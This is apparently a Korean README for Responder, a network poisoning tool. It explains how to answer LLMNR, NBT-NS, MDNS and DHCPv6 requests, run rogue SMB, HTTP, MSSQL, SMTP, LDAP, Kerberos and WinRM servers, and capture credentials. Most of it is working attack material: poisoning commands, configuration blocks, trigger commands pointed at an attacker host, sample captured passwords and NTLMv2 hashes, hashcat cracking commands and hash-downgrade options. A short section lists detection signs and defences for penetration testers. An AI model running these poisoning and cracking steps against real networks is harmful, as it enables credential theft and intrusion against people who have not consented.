
Responder는 LLMNR, NBT-NS 및 MDNS 중독자이며, 내장된 HTTP/SMB/MSSQL/FTP/LDAP 악성 인증 서버를 통해 NTLMv1/NTLMv2/LMv2, 확장 보안 NTLMSSP 및 Basic HTTP 인증을 지원합니다.
Responder는 LLMNR, NBT-NS 및 MDNS 중독자로, HTTP, SMB, MSSQL, FTP, LDAP, Kerberos, DNS 등에 내장된 rogue 인증 서버를 제공합니다. NTLMv1/NTLMv2/LMv2, 확장 보안 NTLMSSP 및 15개 이상의 프로토콜에 걸친 다양한 인증 방식을 지원합니다.
Responder는 LLMNR, NBT-NS 및 MDNS 이름 확인 요청에 응답하여 자격 증명을 캡처합니다. 클라이언트가 존재하지 않는 호스트 이름을 확인하려고 하면 Responder가 응답하여 클라이언트를 공격자의 머신으로 유도하고, 여러 rogue 인증 서버가 자격 증명을 캡처합니다. DHCP, DHCPv6 rogue 서버도 포함되어 있으며 별도로 활성화할 수 있습니다.
캡처된 데이터:
이 버전에는 다음이 포함됩니다:
sudo apt-get update sudo apt-get install python3 python3-pip python3-netifaces
### Responder 설치```bash
git clone https://github.com/lgandx/Responder.git
cd Responder
pip3 install -r requirements.txt
sudo python3 Responder.py --help
---
## 빠른 시작
### 기본 포이즈닝```bash
# Standard LLMNR/NBT-NS poisoning
sudo python3 Responder.py -I eth0 -v
# Analyze mode (passive monitoring)
sudo python3 Responder.py -I eth0 -A -v
sudo python3 Responder.py -I eth0 --dhcpv6 -v
### HTTP 기본 인증 강제```bash
sudo python3 Responder.py -I eth0 -b -v
sudo python3 Responder.py -I eth0 -Pvd
---
## Network Poisoning
### LLMNR/NBT-NS/MDNS Poisoning
**목적:** 이름 확인 실패에 응답
**작동 방식:**
1. 클라이언트가 존재하지 않는 호스트에 대해 쿼리 브로드캐스트
2. Responder가 응답: "내가 그 호스트다"
3. 클라이언트가 공격자에 연결
4. 자격 증명 캡처
**구성:**```ini
[Responder Core]
LLMNR = On
NBTNS = On
MDNS = On
사용법:```bash sudo python3 Responder.py -I eth0 -v
### DHCPv6 서버
**목적:** 클라이언트가 IPv6를 통해 공격자의 DNS를 사용하도록 강제
**기능:**
- ✅ INFORMATION-REQUEST 지원 (Windows 10/11)
- ✅ SOLICIT/REQUEST 지원
- ✅ 도메인 필터링 (정밀 타겟팅)
- ✅ 라우터 광고 (선택 사항)
**작동 방식:**
1. Windows가 DHCPv6 INFORMATION-REQUEST, SOLICIT, REQUEST를 전송
2. Responder가 응답: DNS = 공격자 IPv6
3. Windows가 IPv6 DNS를 우선시
4. 모든 DNS 쿼리 → 공격자
5. DNS 중독 → 자격 증명 탈취
**설정:**```ini
[DHCPv6 Server]
; Only respond to specific domain
DHCPv6_Domain = corp.local
; Send Router Advertisements
SendRA = Off
; IPv6 address to advertise
BindToIPv6 = fe80::1
사용법:```bash sudo python3 Responder.py -I eth0 --dhcpv6 -v
**예상 출력:**```
[DHCPv6] INFORMATION-REQUEST from fe80::a1b2:c3d4
[DHCPv6] Client domain: workstation.corp.local
[DHCPv6] Matched target domain: corp.local
[DHCPv6] Responding with DNS: fe80::1
[DNS] Query: mail.corp.local (A)
[DNS] Poisoned: mail.corp.local -> 192.168.1.100
[SMTP] Captured: [email protected]:Password123
Responder에는 17개 이상의 악성 인증 서버가 포함되어 있습니다:
목적: 파일 공유에서 NetNTLM 해시 캡처
기능:
트리거:```powershell
\attacker-ip\share \non-existent-server\files
net use \attacker-ip\share
\attacker-ip\
**캡처된 형식:**```
username::domain:challenge:response:blob
크래킹:```bash hashcat -m 5600 smb-ntlmv2.txt wordlist.txt
**구성:**```ini
[Responder Core]
SMB = On
목적: 평문 FTP 자격 증명 캡처
기능:
트리거:```bash ftp attacker-ip
**캡처된 형식:**```
[FTP] Cleartext: username:password
구성:```ini [Responder Core] FTP = On
---
### 데이터베이스 서버
#### MSSQL 서버 (포트 1433)
**목적:** Microsoft SQL Server 인증 캡처
**기능:**
- ✅ SQL Server 인증
- ✅ Windows 인증 (NTLM)
- ✅ 평문 SQL 자격 증명
- ✅ NetNTLMv2 해시 캡처
**트리거:**```sql
-- SQL Server Management Studio
Server: attacker-ip
Authentication: SQL Server / Windows
-- Command line
sqlcmd -S attacker-ip -U sa -P password
-- Connection strings
Server=attacker-ip;Database=master;User Id=sa;Password=pass;
캡처된 형식:``` [MSSQL] SQL Auth: sa:password123 [MSSQL] NetNTLMv2: DOMAIN\user::domain:challenge:response:blob
**설정:**```ini
[Responder Core]
SQL = On
참고:
목적: 이메일 클라이언트 인증 캡처
기능:
STARTTLS 흐름:``` Client → EHLO Server → 250-STARTTLS Client → STARTTLS Server → 220 Ready to start TLS [TLS handshake using self-signed cert] Client → AUTH PLAIN Server → Captured! ✅
**트리거:**```
Email client configuration:
- Server: attacker-ip
- Port: 25 or 587
- Security: STARTTLS or None
- Username: anything
- Password: anything
캡처된 형식:``` [SMTP] LOGIN: [email protected]:Password123 [SMTP] NetNTLMv2: user::DOMAIN:challenge:response:blob [SMTP] CRAM-MD5: user:challenge:response
**구성:**```ini
[Responder Core]
SMTP = On
인증서 경고: 자체 서명된 인증서 경고는 정상입니다. 클라이언트는 첫 번째 시도에서 거부하고 재시도 후 성공합니다. 자격 증명은 여전히 캡처됩니다.
목적: STARTTLS로 IMAP 인증 캡처
기능:
STARTTLS 흐름:``` Client → CAPABILITY Server → * CAPABILITY IMAP4 AUTH=PLAIN AUTH=NTLM STARTTLS Client → STARTTLS Server → OK Begin TLS negotiation now [TLS upgrade] Client → LOGIN user password Server → Captured! ✅
**설정:**```ini
[Responder Core]
IMAP = On
목적: SSL을 통한 IMAP (기본 암호화)
기능:
IMAP과의 차이점:``` Port 143 (IMAP): Plain → STARTTLS → Encrypted Port 993 (IMAPS): Encrypted from start
**구성:**```ini
[Responder Core]
IMAPS = On
목적: POP3 이메일 수신 자격 증명 캡처
기능:
트리거:``` Email client:
**캡처된 형식:**```
[POP3] USER: username
[POP3] PASS: password
구성:```ini [Responder Core] POP = On
---
### 웹 서버
#### HTTP 서버 (포트 80)
**목적:** 웹 인증 캡처
**기능:**
- ✅ NTLM 인증 (NetNTLMv1/v2)
- ✅ 기본 인증 (평문)
- ✅ 다이제스트 인증 (MD5)
- ✅ WPAD 주입
**트리거:**```
Browser: http://attacker-ip/
UNC: file://attacker-ip/share
WPAD: Automatic proxy detection
Basic Auth 강제:```bash sudo python3 Responder.py -I eth0 -b
**캡처된 형식:**```
[HTTP] NTLM NTLMv2: user::DOMAIN:challenge:response:blob
[HTTP] Basic: user:password
[HTTP] Digest: user:realm:hash
구성:```ini [Responder Core] HTTP = On
---
#### HTTPS 서버 (포트 443)
**목적:** 인증 캡처를 위한 HTTPS
**기능:**
- ✅ SSL/TLS 암호화
- ✅ 모든 HTTP 인증 방법 지원
- ✅ 자체 서명 인증서
- ✅ HTTPS를 통한 WPAD
**구성:**```ini
[Responder Core]
HTTPS = On
SSLCert = certs/responder.crt
SSLKey = certs/responder.key
목적: 오프라인 크래킹을 위한 AS-REP 해시 캡처
기능:
작동 방식:
크래킹:```bash hashcat -m 7500 kerberos-asreq.txt wordlist.txt
**설정:**```ini
[Responder Core]
Kerberos = On
목적: LDAP 디렉토리 인증 캡처
기능:
트리거:```bash
ldapsearch -H ldap://attacker-ip -D "CN=user,DC=corp,DC=local" -w password
dsquery user -d attacker-ip
**캡처된 형식:**```
[LDAP] Simple: CN=user,DC=corp,DC=local:password
[LDAP] NetNTLMv2: user::DOMAIN:challenge:response:blob
설정:```ini [Responder Core] LDAP = On
---
#### LDAPS 서버 (포트 636)
**목적:** SSL을 통한 LDAP
**기능:**
- ✅ SSL/TLS 암호화
- ✅ 모든 LDAP 인증 방법
**구성:**```ini
[Responder Core]
LDAP = On
목적: 원격 데스크톱 인증 캡처
기능:
트리거:``` Remote Desktop Client:
**캡처된 형식:**```
[RDP] NetNTLMv2: user::DOMAIN:challenge:response:blob
설정:```ini [Responder Core] RDP = On
**참고:** 데스크톱 세션 전에 NLA 인증을 캡처합니다.
---
#### WinRM Server (Ports 5985, 5986)
**목적:** Windows Remote Management 자격 증명 캡처
**기능:**
- ✅ HTTP (5985) 및 HTTPS (5986)
- ✅ 기본 인증
- ✅ NTLM 인증
- ✅ Kerberos 인증
**트리거:**```powershell
# PowerShell remoting
Enter-PSSession -ComputerName attacker-ip
Invoke-Command -ComputerName attacker-ip -ScriptBlock { whoami }
# WinRM command line
winrm invoke -remote:http://attacker-ip
캡처된 형식:``` [WinRM] Basic: DOMAIN\user:password [WinRM] NetNTLMv2: user::DOMAIN:challenge:response:blob
**구성:**```ini
[Responder Core]
WINRM = On
목적: 도메인 필터링을 사용하는 악성 DNS
기능:
구성:```ini [DHCPv6 Server] ; DNS uses same domain filter as DHCPv6 DHCPv6_Domain = corp.local
**작동 방식:**```
Query: mail.corp.local
Response: 192.168.1.100 (attacker)
Client connects to attacker's SMTP
Credentials captured!
지원되는 레코드 유형:
도메인 필터링 예시:``` DHCPv6_Domain = corp.local
mail.corp.local → POISONED ✅ dc01.corp.local → POISONED ✅ google.com → IGNORED (normal DNS)
**구성:**```ini
[Responder Core]
DNS = On
목적: Windows RPC 인증 캡처
기능:
트리거:``` Windows services querying RPC endpoint mapper WMI queries Remote registry access
**캡처된 형식:**```
[DCERPC] NetNTLMv2: user::DOMAIN:challenge:response:blob
구성:```ini [Responder Core] DCERPC = On
---
## 설정
### 메인 설정 파일
편집 `Responder.conf`:```ini
[Responder Core]
; === Network Services ===
SQL = On # MSSQL (port 1433)
SMB = On # SMB (ports 445, 139)
RDP = On # Remote Desktop (port 3389)
Kerberos = On # Kerberos (port 88)
FTP = On # FTP (port 21)
POP = On # POP3 (port 110)
SMTP = On # SMTP with STARTTLS (port 25/587)
IMAP = On # IMAP with STARTTLS (port 143)
IMAPS = On # IMAPS with SSL (port 993)
HTTP = On # HTTP (port 80)
HTTPS = On # HTTPS (port 443)
DNS = On # DNS (port 53)
LDAP = On # LDAP/LDAPS (ports 389/636)
DCERPC = On # Windows RPC (port 135)
WINRM = On # Windows Remote Management (ports 5985/5986)
; === Poisoners ===
LLMNR = On # Link-Local Multicast Name Resolution
NBTNS = On # NetBIOS Name Service
MDNS = On # Multicast DNS
DHCP = Off # DHCP (IPv4) - use with caution
DHCPv6 = On # DHCPv6 (IPv6) - use with more caution
; === Settings ===
SessionLog = On
LogToFile = On
Verbose = Yes
Database = Responder.db
; === SSL Certificates ===
SSLCert = certs/responder.crt
SSLKey = certs/responder.key
[HTTP Server]
HtmlFilename = files/AccessDenied.html
[DHCPv6 Server]
; Target specific domain
DHCPv6_Domain = corp.local
; Send Router Advertisements (use with caution)
SendRA = Off
; IPv6 address to advertise
BindToIPv6 = fe80::1
sudo python3 Responder.py [options]
### 필수 인자
| 옵션 | 설명 |
|--------|-------------|
| `-I eth0, --interface=eth0` | 사용할 네트워크 인터페이스 (모든 인터페이스는 'ALL' 사용) |
### 포이즈닝 옵션
| 옵션 | 설명 |
|--------|-------------|
| `-A, --analyze` | 분석 모드 - 응답 없이 NBT-NS, MDNS, LLMNR 요청 확인 |
| `-w, --wpad` | WPAD 악성 프록시 서버 시작 (기본값: 꺼짐) |
| `-F, --ForceWpadAuth` | wpad.dat 검색 시 NTLM/Basic 인증 강제 (구형 네트워크) |
| `-P, --ProxyAuth` | 프록시에 NTLM/Basic 인증 강제 (매우 효과적) |
### DHCP/DHCPv6 옵션
| 옵션 | 설명 |
|--------|-------------|
| `-d, --DHCP` | WPAD 주입이 포함된 DHCP 브로드캐스트 응답 활성화 (IPv4) |
| `-D, --DHCP-DNS` | WPAD 대신 DHCP 응답에 DNS 서버 주입 |
| `--dhcpv6` | DHCPv6 포이즈닝 활성화 (SOLICIT 메시지에 응답) |
### IP 포이즈닝 옵션
| 옵션 | 설명 |
|--------|-------------|
| `-e 10.0.0.22, --externalip=10.0.0.22` | 다른 IPv4 주소로 요청 포이즈닝 |
| `-6 ADDR, --externalip6=ADDR` | 다른 IPv6 주소로 요청 포이즈닝 |
| `-i 10.0.0.21, --ip=10.0.0.21` | 사용할 로컬 IP (macOS 전용) |
### 인증 옵션
| 옵션 | 설명 |
|--------|-------------|
| `-b, --basic` | HTTP Basic 인증 반환 (기본값: NTLM) |
| `--lm` | LM 해시 다운그레이드 강제 (Windows XP/2003) |
| `--disable-ess` | 확장 보안 NTLMSSP 다운그레이드 강제 |
### 고급 옵션
| 옵션 | 설명 |
|--------|-------------|
| `-u HOST:PORT, --upstream-proxy=HOST:PORT` | 악성 WPAD용 업스트림 HTTP 프록시 |
| `-t 1e, --ttl=1e` | 포이즈닝 응답의 Windows TTL 변경 (16진수: 30초=1e, 또는 'random') |
| `-N NAME, --AnswerName=NAME` | LLMNR 응답의 정식 이름 (Kerberos 릴레이에 유용) |
| `-E, --ErrorCode` | STATUS_LOGON_FAILURE 반환 (WebDAV 인증 캡처 활성화) |
### 출력 옵션
| 옵션 | 설명 |
|--------|-------------|
| `-v, --verbose` | 상세 출력 증가 (권장) |
| `-Q, --quiet` | 조용한 모드 - 포이즈너 출력 비활성화 |
### 정보
| 옵션 | 설명 |
|--------|-------------|
| `--version` | 프로그램 버전 표시 후 종료 |
| `-h, --help` | 도움말 메시지 표시 후 종료 |
---
### 저장 위치```
Responder.db # SQLite database
logs/
├── HTTP-NTLMv2-<IP>.txt # HTTP NetNTLMv2 hashes
├── SMB-NTLMv2-<IP>.txt # SMB NetNTLMv2 hashes
├── MSSQL-NTLMv2-<IP>.txt # MSSQL NetNTLMv2 hashes
├── Kerberos-AES-<IP>.txt # Kerberos AS-REP hashes
├── SMTP-Cleartext-<IP>.txt # SMTP cleartext credentials
├── IMAP-NTLMv2-<IP>.txt # IMAP NetNTLMv2 hashes
├── FTP-Cleartext-<IP>.txt # FTP cleartext credentials
├── LDAP-Cleartext-<IP>.txt # LDAP cleartext credentials
├── RDP-NTLMv2-<IP>.txt # RDP NetNTLMv2 hashes
└── WinRM-NTLMv2-<IP>.txt # WinRM NetNTLMv2 hashes
sqlite3 Responder.db
.tables
SELECT * FROM hashes;
.mode csv .output hashes.csv SELECT * FROM hashes; .quit
---
### OpSec 고려사항
**탐지 지표:**
- 비정상적인 LLMNR/NBT-NS 응답
- 악성 DHCP/DHCPv6 서버
- 유효하지 않은 Kerberos 사전 인증 요청
- 자체 서명된 SSL 인증서
- 다중 인증 실패
- 의심스러운 DNS 응답
**방어 조치:**
- GPO를 통해 MDNS/LLMNR/NBT-NS 비활성화
- 스위치에서 DHCP 스누핑 활성화
- IPv6 RA 가드 활성화
- DHCPv6 가드 활성화
- 악성 DHCPv6 서버 모니터링
---
## macOS
Responder는 macOS에서 작동하지만 로컬 IP 주소를 지정하기 위해 `-i` 플래그가 필요합니다. macOS는 Linux에서 인터페이스 바인딩에 사용되는 `SO_BINDTODEVICE` 소켓 옵션을 지원하지 않습니다.
### 실행기 스크립트 사용
포함된 `macOS_Launcher.sh`는 서비스 충돌을 자동으로 처리합니다:```bash
sudo ./macOS_Launcher.sh -I en0
런처는 다음을 수행합니다:
-i를 전달하여 재정의 가능)ipconfig getifaddr en0
sudo python3 Responder.py -I en0 -i 192.168.1.100
### 시스템 무결성 보호(SIP)
SIP가 활성화된 상태(기본값)에서 macOS는 Responder가 필요한 포트에 바인딩하는 시스템 서비스를 중지하는 것을 방지합니다. 세 가지 옵션이 있습니다:
1. **런처 스크립트 사용** — 충돌을 보고하고 사용 가능한 항목으로 계속 진행합니다.
2. **`Responder.conf`에서 충돌 모듈 비활성화** (예: `SMB = Off`, `DNS = Off`)
3. **SIP 비활성화** — 전체 기능을 위해 (자세한 내용은 [Apple 문서](https://developer.apple.com/documentation/security/disabling-and-enabling-system-integrity-protection) 참조)
---
## 문제 해결
### 일반적인 문제
**권한 거부:**```bash
sudo python3 Responder.py -I eth0
인터페이스를 찾을 수 없음:```bash ip link show sudo python3 Responder.py -I wlan0
**포트가 이미 사용 중입니다:**```bash
sudo netstat -tulpn | grep 445
sudo systemctl stop smbd nmbd
DHCPv6가 작동하지 않음:```bash
sudo sysctl -w net.ipv6.conf.all.disable_ipv6=0
sysctl net.ipv6.conf.all.disable_ipv6
**캡처된 해시 없음:**```bash
# Verify servers running
sudo python3 Responder.py -I eth0 -v
# Check firewall
sudo iptables -L
# Monitor traffic
sudo tcpdump -i eth0 port 445 or port 88 or port 389
sudo python3 Responder.py -I eth0 -vv
tail -f logs/Responder-Session.log
sudo tcpdump -i eth0 -w responder-capture.pcap
---
## 크레딧
**저자:** Laurent Gaffié
- GitHub: https://github.com/lgandx
- 웹사이트: https://secorizon.com/
- 트위터: @secorizon
---
## 기부
다음 USDT 또는 비트코인 주소로 기부하여 이 프로젝트에 기여할 수 있습니다:
USDT: 0xCc98c1D3b8cd9b717b5257827102940e4E17A19A
BTC: bc1q9360jedhhmps5vpl3u05vyg4jryrl52dmazz49
Paypal:
https://paypal.me/PythonResponder
---
## 감사의 말
Late Responder 개발은 개인과 회사로부터 받은 기부 덕분에 가능했습니다.
다음 주요 후원자분들께 감사드립니다:
SecureWorks: https://www.secureworks.com/
Synacktiv: https://www.synacktiv.com/
Black Hills Information Security: http://www.blackhillsinfosec.com/
TrustedSec: https://www.trustedsec.com/
Red Siege Information Security: https://www.redsiege.com/
Open-Sec: http://www.open-sec.com/
그리고 이 프로젝트에 기부해 주신 전 세계 모든, 모든 침투 테스터분들께 감사드립니다.
감사합니다.